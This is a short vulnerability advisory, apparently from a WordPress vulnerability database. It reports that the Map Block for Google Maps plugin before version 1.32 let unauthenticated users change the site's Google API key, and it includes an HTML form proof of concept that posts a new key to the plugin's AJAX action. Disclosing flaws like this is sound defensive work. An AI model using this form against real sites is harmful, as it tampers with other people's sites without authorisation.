WordPress Plugin Vulnerabilities
Map Block for Google Maps < 1.32 - Unauthorised Google API Key change
Description
The gmw_map_block_save_key AJAX action, available to both authenticated and unauthenticated users did not have any check in place to prevent unauthorised change of the Google API key.
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="gmw_map_block_save_key" />
<input type="hidden" name="api_key" value="XXXX" />
<input type="submit" value="Submit request" />
</form>
</body>
</html> Affects Plugins
Fixed in version 1.32
References
Classification
Miscellaneous
Verified
Yes
Timeline
Publicly Published
2021-02-10 (about 1 years ago)
Added
2021-02-10 (about 1 years ago)
Last Updated
2021-02-10 (about 1 years ago)